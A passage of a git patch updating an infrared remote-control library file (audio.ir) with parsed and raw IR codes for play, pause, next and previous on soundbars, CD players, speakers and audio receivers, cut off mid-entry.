C8 91 00 00 +command: 21 DE 00 00 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4582 4465 551 454 550 455 550 455 549 456 549 1460 550 1460 549 457 548 456 549 1461 549 1461 548 1461 549 1460 549 457 549 456 548 457 548 457 548 4461 549 456 548 457 548 457 548 457 548 457 548 457 548 1462 548 1461 547 457 549 457 548 456 549 1460 549 1461 547 1461 549 457 547 457 548 1461 549 1461 548 1461 548 457 548 55436 4578 4464 549 455 549 456 549 455 549 456 550 1460 549 1460 549 456 550 455 550 1460 550 1460 549 1460 550 1460 549 456 549 457 548 457 548 457 549 4461 548 457 548 457 548 457 548 457 547 457 549 457 547 1462 548 1461 549 457 548 457 548 457 548 1461 548 1461 548 1462 548 457 548 457 549 1461 549 1461 548 1461 548 457 548 +# +name: Play +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 32 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 39 00 00 00 +# +name: Play +type: parsed +protocol: SIRC20 +address: 10 01 00 00 +command: 32 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC20 +address: 10 01 00 00 +command: 39 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8A 00 00 00 +# +# CDPlayers +# +name: Play +type: parsed +protocol: NEC42 +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: Pause +type: parsed +protocol: NEC42 +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: Prev +type: parsed +protocol: Kaseikyo +address: 51 54 32 01 +command: 47 00 00 00 +# +name: Play +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 35 00 00 00 +# +name: Pause +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 30 00 00 00 +# +name: Prev +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 21 00 00 00 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 8546 4227 563 511 563 1558 566 511 563 483 566 508 567 1558 566 509 566 1558 566 1586 564 483 566 1561 588 1558 566 1560 564 536 539 1558 566 535 539 1558 566 1586 564 1557 567 486 589 1560 564 511 563 510 539 508 567 485 589 484 565 508 567 1559 565 509 566 1560 564 1560 590 1585 539 25430 8575 4251 538 485 590 1557 567 486 588 511 538 536 539 1557 567 509 566 1558 566 1560 590 483 566 1560 589 1559 565 1562 562 536 539 1560 564 509 566 1558 566 1564 586 1586 538 484 590 1559 565 487 588 482 567 509 566 511 563 483 566 508 567 1558 566 509 566 1560 564 1559 591 1586 538 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 8571 4226 564 509 540 1587 563 510 539 510 565 510 564 1558 566 510 565 1584 540 1585 539 535 540 1587 537 1586 564 1585 539 510 564 1584 540 511 563 482 567 535 539 485 590 1584 540 1585 539 509 566 510 564 510 539 1586 564 1585 539 1585 539 536 539 510 564 1585 539 1557 567 1558 592 25434 8571 4199 591 510 539 1586 564 509 540 535 540 485 590 1585 539 484 591 1561 563 1584 540 507 568 1585 539 1586 564 1585 539 486 589 1585 539 484 591 425 624 535 540 486 589 1585 539 1585 539 511 564 511 563 486 563 1586 564 1558 566 1558 566 508 567 486 589 1560 564 1558 566 1561 589 +# +name: Pause +type: parsed +protocol: NEC +address: 4D 00 00 00 +command: 0F 00 00 00 +# +name: Play +type: parsed +protocol: SIRC15 +address: 64 00 00 00 +command: 32 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC15 +address: 64 00 00 00 +command: 39 00 00 00 +# +name: Play +type: parsed +protocol: SIRC +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 08 F7 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 05 FA 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 01 FE 00 00 +# +# Speakers +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 1046 1457 543 1458 542 454 546 450 539 1461 539 456 544 1458 542 1458 542 454 546 451 539 1461 539 1462 538 458 542 1459 541 454 546 451 539 1454 546 50538 1043 1461 539 1461 539 456 544 453 547 1454 546 449 541 1461 539 1462 538 457 543 453 547 1455 545 1455 545 451 539 1462 538 458 542 454 546 1447 543 50526 1044 1459 541 1459 541 455 545 451 539 1463 537 458 542 1459 541 1460 540 455 545 452 538 1463 537 1464 536 460 540 1461 539 456 544 453 536 1456 544 +# +name: Prev +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 07 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 15 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 10 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 13 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 12 ED 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0D F2 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 25 DA 00 00 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 9175 4433 644 1605 645 442 669 466 646 445 666 438 673 466 645 440 671 466 673 410 700 365 720 465 675 367 742 367 744 438 645 1604 675 1574 674 1549 702 1575 673 1576 646 1604 675 1574 676 1574 675 1576 644 1604 645 1606 672 1576 645 466 645 466 645 465 646 1575 675 1605 645 466 645 467 644 467 644 1605 644 1605 645 1606 644 467 644 467 644 1606 643 1578 672 1607 643 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 9144 4405 671 1607 642 469 642 469 642 469 642 470 641 365 747 469 641 443 669 469 642 468 643 446 665 469 642 469 642 470 642 1580 669 1607 643 1607 642 1608 641 1578 672 1580 670 1608 641 1608 641 1609 590 1660 590 1635 615 1660 590 1660 590 1632 618 1633 617 521 590 1660 590 521 590 521 618 493 590 521 590 520 591 519 592 1657 592 519 592 1658 617 1633 616 1633 615 23844 9114 4461 615 +# +name: Play +type: parsed +protocol: SIRC +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 2D D3 00 00 +command: 07 F8 00 00 +# +# Audio Receivers +# +name: Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 09 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 12 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 04 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 00 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 1B E4 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 1F E0 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 91 6E 00 00 +# +name: Play +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8D 72 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 90 6F 00 00 +# +name: Next +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8F 70 00 00 +# +name: Prev +type: parsed +protocol: Kaseikyo +address: AC 02 20 01 +command: 91 00 00 00 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 3467 1720 449 450 419 1296 443 455 425 446 423 447 422 449 420 451 418 452 417 454 426 445 424 447 422 448 421 450 419 1296 443 455 425 446 423 447 422 449 420 450 419 452 417 454 426 1290 449 448 421 1294 445 453 416 455 425 1291 448 1294 445 1297 453 418 451 447 422 448 421 423 446 1296 443 1300 450 448 421 422 447 424 445 425 444 427 453 418 451 1292 447 450 419 1297 442 1300 450 1292 447 451 418 1297 453 74912 3466 1722 447 424 445 1297 453 418 451 420 449 421 448 423 446 425 444 427 453 418 451 420 449 421 448 423 446 424 445 1297 453 419 450 420 449 422 447 424 445 425 444 427 453 418 451 1291 448 423 446 1296 443 428 452 419 450 1292 447 1295 444 1298 452 420 449 421 448 423 446 425 444 1298 452 1290 449 422 447 424 445 425 444 427 453 418 451 420 449 1293 446 425 444 1298 452 1290 449 1294 445 425 444 1298 452 +# +name: Prev +type: parsed +protocol: Kaseikyo +address: AC 02 20 00 +command: 21 00 00 00 +# +name: Play +type: parsed +protocol: Kaseikyo +address: AC 02 20 00 +command: 61 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 59 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 18 00 00 00 +# +name: Play +type: parsed +protocol: RC5X +address: 0A 00 00 00 +command: 31 00 00 00 +# +name: Pause +type: parsed +protocol: RC5X +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 78 00 00 00 +command: 02 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 68 97 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 67 98 00 00 From 81023875d5b73447a142598f0081b6c4529b12f4 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 30 May 2023 14:33:35 +0300 Subject: [PATCH 092/100] Update audio ir by @amec0e --- assets/resources/infrared/assets/audio.ir | 1154 +++++++++++++++------ 1 file changed, 862 insertions(+), 292 deletions(-) diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir index 75d897007..72d07c82b 100644 --- a/assets/resources/infrared/assets/audio.ir +++ b/assets/resources/infrared/assets/audio.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 -# Last Updated 29th May, 2023 -# Last Checked 29th May, 2023 +# Last Updated 30th May, 2023 +# Last Checked 30th May, 2023 # name: Power type: parsed @@ -2176,395 +2176,965 @@ type: parsed protocol: NEC address: 00 00 00 00 command: 46 00 00 00 -# -# Soundbars # -name: Play -type: parsed -protocol: NECext -address: 86 FF 00 00 -command: 2A D5 00 00 -# -name: Prev -type: parsed -protocol: NECext -address: 86 FF 00 00 -command: 13 EC 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 56 A9 00 00 -# -name: Prev -type: parsed -protocol: NECext -address: 83 22 00 00 -command: 07 F8 00 00 -# -name: Play -type: parsed -protocol: Samsung32 -address: 2C 00 00 00 -command: 4F 00 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: C8 91 00 00 -command: 21 DE 00 00 -# -name: Next -type: raw -frequency: 38000 -duty_cycle: 0.33 -data: 4582 4465 551 454 550 455 550 455 549 456 549 1460 550 1460 549 457 548 456 549 1461 549 1461 548 1461 549 1460 549 457 549 456 548 457 548 457 548 4461 549 456 548 457 548 457 548 457 548 457 548 457 548 1462 548 1461 547 457 549 457 548 456 549 1460 549 1461 547 1461 549 457 547 457 548 1461 549 1461 548 1461 548 457 548 55436 4578 4464 549 455 549 456 549 455 549 456 550 1460 549 1460 549 456 550 455 550 1460 550 1460 549 1460 550 1460 549 456 549 457 548 457 548 457 549 4461 548 457 548 457 548 457 548 457 547 457 549 457 547 1462 548 1461 549 457 548 457 548 457 548 1461 548 1461 548 1462 548 457 548 457 549 1461 549 1461 548 1461 548 457 548 -# -name: Play -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 32 00 00 00 -# -name: Pause -type: parsed -protocol: SIRC20 -address: 3A 07 00 00 -command: 39 00 00 00 -# -name: Play -type: parsed -protocol: SIRC20 -address: 10 01 00 00 -command: 32 00 00 00 -# -name: Pause -type: parsed -protocol: SIRC20 -address: 10 01 00 00 -command: 39 00 00 00 -# -name: Play -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 8E 00 00 00 -# -name: Prev -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 8A 00 00 00 -# -# CDPlayers -# -name: Play -type: parsed -protocol: NEC42 -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: Pause -type: parsed -protocol: NEC42 -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: Prev -type: parsed -protocol: Kaseikyo -address: 51 54 32 01 -command: 47 00 00 00 -# -name: Play -type: parsed -protocol: RC5 -address: 14 00 00 00 -command: 35 00 00 00 -# -name: Pause -type: parsed -protocol: RC5 -address: 14 00 00 00 -command: 30 00 00 00 -# -name: Prev -type: parsed -protocol: RC5 -address: 14 00 00 00 -command: 21 00 00 00 -# -name: Play -type: raw -frequency: 38000 -duty_cycle: 0.33 -data: 8546 4227 563 511 563 1558 566 511 563 483 566 508 567 1558 566 509 566 1558 566 1586 564 483 566 1561 588 1558 566 1560 564 536 539 1558 566 535 539 1558 566 1586 564 1557 567 486 589 1560 564 511 563 510 539 508 567 485 589 484 565 508 567 1559 565 509 566 1560 564 1560 590 1585 539 25430 8575 4251 538 485 590 1557 567 486 588 511 538 536 539 1557 567 509 566 1558 566 1560 590 483 566 1560 589 1559 565 1562 562 536 539 1560 564 509 566 1558 566 1564 586 1586 538 484 590 1559 565 487 588 482 567 509 566 511 563 483 566 508 567 1558 566 509 566 1560 564 1559 591 1586 538 -# -name: Pause -type: raw -frequency: 38000 -duty_cycle: 0.33 -data: 8571 4226 564 509 540 1587 563 510 539 510 565 510 564 1558 566 510 565 1584 540 1585 539 535 540 1587 537 1586 564 1585 539 510 564 1584 540 511 563 482 567 535 539 485 590 1584 540 1585 539 509 566 510 564 510 539 1586 564 1585 539 1585 539 536 539 510 564 1585 539 1557 567 1558 592 25434 8571 4199 591 510 539 1586 564 509 540 535 540 485 590 1585 539 484 591 1561 563 1584 540 507 568 1585 539 1586 564 1585 539 486 589 1585 539 484 591 425 624 535 540 486 589 1585 539 1585 539 511 564 511 563 486 563 1586 564 1558 566 1558 566 508 567 486 589 1560 564 1558 566 1561 589 -# -name: Pause -type: parsed -protocol: NEC -address: 4D 00 00 00 -command: 0F 00 00 00 -# -name: Play -type: parsed -protocol: SIRC15 -address: 64 00 00 00 -command: 32 00 00 00 -# -name: Pause -type: parsed -protocol: SIRC15 -address: 64 00 00 00 -command: 39 00 00 00 -# -name: Play -type: parsed -protocol: SIRC -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: Pause -type: parsed -protocol: SIRC -address: 0F 00 00 00 -command: 29 00 00 00 -# -name: Play -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 08 F7 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 05 FA 00 00 -# -name: Prev -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 01 FE 00 00 -# -# Speakers -# -name: Prev -type: raw -frequency: 38000 -duty_cycle: 0.33 -data: 1046 1457 543 1458 542 454 546 450 539 1461 539 456 544 1458 542 1458 542 454 546 451 539 1461 539 1462 538 458 542 1459 541 454 546 451 539 1454 546 50538 1043 1461 539 1461 539 456 544 453 547 1454 546 449 541 1461 539 1462 538 457 543 453 547 1455 545 1455 545 451 539 1462 538 458 542 454 546 1447 543 50526 1044 1459 541 1459 541 455 545 451 539 1463 537 458 542 1459 541 1460 540 455 545 452 538 1463 537 1464 536 460 540 1461 539 456 544 453 536 1456 544 -# -name: Prev -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 07 00 00 00 -# -name: Pause -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 15 00 00 00 -# -name: Prev -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 10 00 00 00 -# -name: Next -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 13 00 00 00 -# -name: Prev -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: Prev -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 12 ED 00 00 -# -name: Play -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0D F2 00 00 -# -name: Prev -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 25 DA 00 00 -# -name: Play -type: raw -frequency: 38000 -duty_cycle: 0.33 -data: 9175 4433 644 1605 645 442 669 466 646 445 666 438 673 466 645 440 671 466 673 410 700 365 720 465 675 367 742 367 744 438 645 1604 675 1574 674 1549 702 1575 673 1576 646 1604 675 1574 676 1574 675 1576 644 1604 645 1606 672 1576 645 466 645 466 645 465 646 1575 675 1605 645 466 645 467 644 467 644 1605 644 1605 645 1606 644 467 644 467 644 1606 643 1578 672 1607 643 -# -name: Prev -type: raw -frequency: 38000 -duty_cycle: 0.33 -data: 9144 4405 671 1607 642 469 642 469 642 469 642 470 641 365 747 469 641 443 669 469 642 468 643 446 665 469 642 469 642 470 642 1580 669 1607 643 1607 642 1608 641 1578 672 1580 670 1608 641 1608 641 1609 590 1660 590 1635 615 1660 590 1660 590 1632 618 1633 617 521 590 1660 590 521 590 521 618 493 590 521 590 520 591 519 592 1657 592 519 592 1658 617 1633 616 1633 615 23844 9114 4461 615 -# -name: Play -type: parsed -protocol: SIRC -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: Prev -type: parsed -protocol: NECext -address: 2D D3 00 00 -command: 07 F8 00 00 -# -# Audio Receivers +# Audio_Receivers # name: Pause type: parsed protocol: NEC address: 00 00 00 00 command: 09 00 00 00 -# +# +name: Next +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 15 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 07 00 00 00 +# name: Play type: parsed protocol: NEC address: 04 00 00 00 command: 12 00 00 00 -# +# name: Prev type: parsed protocol: NEC address: 04 00 00 00 command: 04 00 00 00 -# +# +name: Next +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5E 00 00 00 +# +name: Pause +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 30 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 5F A0 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 5F A0 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 02 00 00 00 +# name: Play type: parsed protocol: NEC address: 00 00 00 00 command: 00 00 00 00 -# +# +name: Play +type: parsed +protocol: NECext +address: 30 FC 00 00 +command: 02 FD 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 30 FC 00 00 +command: 02 FD 00 00 +# name: Play type: parsed protocol: NECext address: D2 03 00 00 command: 1B E4 00 00 -# +# name: Pause type: parsed protocol: NECext address: D2 03 00 00 command: 1F E0 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 91 6E 00 00 -# -name: Play -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8D 72 00 00 -# +# name: Prev type: parsed protocol: NECext address: D2 02 00 00 command: 90 6F 00 00 -# +# name: Next type: parsed protocol: NECext address: D2 02 00 00 command: 8F 70 00 00 -# +# +name: Pause +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 91 6E 00 00 +# +name: Play +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8D 72 00 00 +# +name: Play +type: parsed +protocol: NECext +address: D2 19 00 00 +command: 5C A3 00 00 +# +name: Play +type: parsed +protocol: Kaseikyo +address: AA 02 20 00 +command: A0 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: D2 19 00 00 +command: 5C A3 00 00 +# +name: Pause +type: parsed +protocol: Kaseikyo +address: AA 02 20 00 +command: A0 00 00 00 +# +name: Next +type: parsed +protocol: Kaseikyo +address: AC 02 20 01 +command: A1 00 00 00 +# name: Prev type: parsed protocol: Kaseikyo address: AC 02 20 01 command: 91 00 00 00 -# +# name: Play type: raw frequency: 38000 duty_cycle: 0.33 data: 3467 1720 449 450 419 1296 443 455 425 446 423 447 422 449 420 451 418 452 417 454 426 445 424 447 422 448 421 450 419 1296 443 455 425 446 423 447 422 449 420 450 419 452 417 454 426 1290 449 448 421 1294 445 453 416 455 425 1291 448 1294 445 1297 453 418 451 447 422 448 421 423 446 1296 443 1300 450 448 421 422 447 424 445 425 444 427 453 418 451 1292 447 450 419 1297 442 1300 450 1292 447 451 418 1297 453 74912 3466 1722 447 424 445 1297 453 418 451 420 449 421 448 423 446 425 444 427 453 418 451 420 449 421 448 423 446 424 445 1297 453 419 450 420 449 422 447 424 445 425 444 427 453 418 451 1291 448 423 446 1296 443 428 452 419 450 1292 447 1295 444 1298 452 420 449 421 448 423 446 425 444 1298 452 1290 449 422 447 424 445 425 444 427 453 418 451 420 449 1293 446 425 444 1298 452 1290 449 1294 445 425 444 1298 452 -# +# +name: Next +type: parsed +protocol: Kaseikyo +address: AC 02 20 00 +command: 31 00 00 00 +# name: Prev type: parsed protocol: Kaseikyo address: AC 02 20 00 command: 21 00 00 00 -# +# name: Play type: parsed protocol: Kaseikyo address: AC 02 20 00 command: 61 00 00 00 -# +# +name: Play +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 35 00 00 00 +# +name: Prev +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 21 00 00 00 +# +name: Next +type: parsed +protocol: RC5 +address: 14 00 00 00 +command: 20 00 00 00 +# name: Prev type: parsed protocol: NEC address: 00 00 00 00 command: 4D 00 00 00 -# +# +name: Next +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 54 00 00 00 +# name: Play type: parsed protocol: NEC address: 40 00 00 00 command: 59 00 00 00 -# +# name: Pause type: parsed protocol: NEC address: 40 00 00 00 command: 18 00 00 00 -# +# +name: Prev +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 58 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 5B 00 00 00 +# +name: Play +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 32 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC20 +address: 3A 07 00 00 +command: 39 00 00 00 +# +name: Play +type: parsed +protocol: SIRC20 +address: 10 01 00 00 +command: 3A 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC20 +address: 10 01 00 00 +command: 3A 00 00 00 +# name: Play type: parsed protocol: RC5X address: 0A 00 00 00 command: 31 00 00 00 -# +# name: Pause type: parsed protocol: RC5X address: 0A 00 00 00 command: 0F 00 00 00 -# +# name: Play type: parsed protocol: NEC address: 78 00 00 00 command: 02 00 00 00 -# +# name: Play type: parsed protocol: NECext address: 7F 01 00 00 command: 68 97 00 00 -# +# name: Pause type: parsed protocol: NECext address: 7F 01 00 00 command: 67 98 00 00 +# +# CD Players +# +name: Play +type: parsed +protocol: NEC42 +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: Pause +type: parsed +protocol: NEC42 +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: Prev +type: parsed +protocol: Kaseikyo +address: 51 54 32 01 +command: 47 00 00 00 +# +name: Next +type: parsed +protocol: Kaseikyo +address: 51 54 32 01 +command: 46 00 00 00 +# +name: Play +type: parsed +protocol: Samsung32 +address: 81 00 00 00 +command: 01 00 00 00 +# +name: Pause +type: parsed +protocol: Samsung32 +address: 81 00 00 00 +command: 01 00 00 00 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 8546 4227 563 511 563 1558 566 511 563 483 566 508 567 1558 566 509 566 1558 566 1586 564 483 566 1561 588 1558 566 1560 564 536 539 1558 566 535 539 1558 566 1586 564 1557 567 486 589 1560 564 511 563 510 539 508 567 485 589 484 565 508 567 1559 565 509 566 1560 564 1560 590 1585 539 25430 8575 4251 538 485 590 1557 567 486 588 511 538 536 539 1557 567 509 566 1558 566 1560 590 483 566 1560 589 1559 565 1562 562 536 539 1560 564 509 566 1558 566 1564 586 1586 538 484 590 1559 565 487 588 482 567 509 566 511 563 483 566 508 567 1558 566 509 566 1560 564 1559 591 1586 538 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 8571 4226 564 509 540 1587 563 510 539 510 565 510 564 1558 566 510 565 1584 540 1585 539 535 540 1587 537 1586 564 1585 539 510 564 1584 540 511 563 482 567 535 539 485 590 1584 540 1585 539 509 566 510 564 510 539 1586 564 1585 539 1585 539 536 539 510 564 1585 539 1557 567 1558 592 25434 8571 4199 591 510 539 1586 564 509 540 535 540 485 590 1585 539 484 591 1561 563 1584 540 507 568 1585 539 1586 564 1585 539 486 589 1585 539 484 591 425 624 535 540 486 589 1585 539 1585 539 511 564 511 563 486 563 1586 564 1558 566 1558 566 508 567 486 589 1560 564 1558 566 1561 589 +# +name: Pause +type: parsed +protocol: NEC +address: 4D 00 00 00 +command: 0F 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 4D 00 00 00 +command: 10 00 00 00 +# +name: Play +type: parsed +protocol: SIRC15 +address: 64 00 00 00 +command: 32 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC15 +address: 64 00 00 00 +command: 39 00 00 00 +# +name: Play +type: parsed +protocol: SIRC +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 08 F7 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 05 FA 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 03 FC 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 03 FC 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 02 FD 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 01 FE 00 00 +# +# SoundBars +# +name: Play +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 2A D5 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 13 EC 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 86 FF 00 00 +command: 14 EB 00 00 +# +name: Next +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 5A A5 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 59 A6 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 56 A9 00 00 +# +name: Play +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 55 AA 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 46 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 09 F6 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 55 AA 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 35 00 00 00 +command: 46 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 09 F6 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 07 F8 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 83 22 00 00 +command: 06 F9 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1C E3 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 06 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1C E3 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 06 00 00 00 +# +name: Play +type: parsed +protocol: Samsung32 +address: 2C 00 00 00 +command: 4F 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 4F 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: C8 91 00 00 +command: 21 DE 00 00 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4583 4441 575 454 550 455 549 457 548 456 549 1461 550 1460 549 456 549 457 549 1461 548 1462 549 1461 549 1461 548 457 548 457 549 457 547 457 549 4462 548 458 548 457 548 457 548 457 548 457 548 1462 548 457 548 1461 549 457 548 457 548 457 548 1462 548 1461 549 457 548 1461 549 457 548 1461 549 1461 548 1462 547 458 547 55448 4580 4465 550 456 549 456 549 456 550 456 549 1461 549 1460 549 457 549 456 549 1461 549 1461 549 1461 548 1461 549 457 548 457 549 457 548 457 548 4462 549 457 548 457 548 458 548 457 548 457 548 1462 549 457 547 1462 549 457 548 457 548 457 548 1462 548 1462 549 457 548 1462 548 457 548 1462 548 1461 549 1462 548 457 548 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4583 4441 575 454 550 455 549 457 548 456 549 1461 550 1460 549 456 549 457 549 1461 548 1462 549 1461 549 1461 548 457 548 457 549 457 547 457 549 4462 548 458 548 457 548 457 548 457 548 457 548 1462 548 457 548 1461 549 457 548 457 548 457 548 1462 548 1461 549 457 548 1461 549 457 548 1461 549 1461 548 1462 547 458 547 55448 4580 4465 550 456 549 456 549 456 550 456 549 1461 549 1460 549 457 549 456 549 1461 549 1461 549 1461 548 1461 549 457 548 457 549 457 548 457 548 4462 549 457 548 457 548 458 548 457 548 457 548 1462 549 457 547 1462 549 457 548 457 548 457 548 1462 548 1462 549 457 548 1462 548 457 548 1462 548 1461 549 1462 548 457 548 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4582 4465 551 454 550 455 550 455 549 456 549 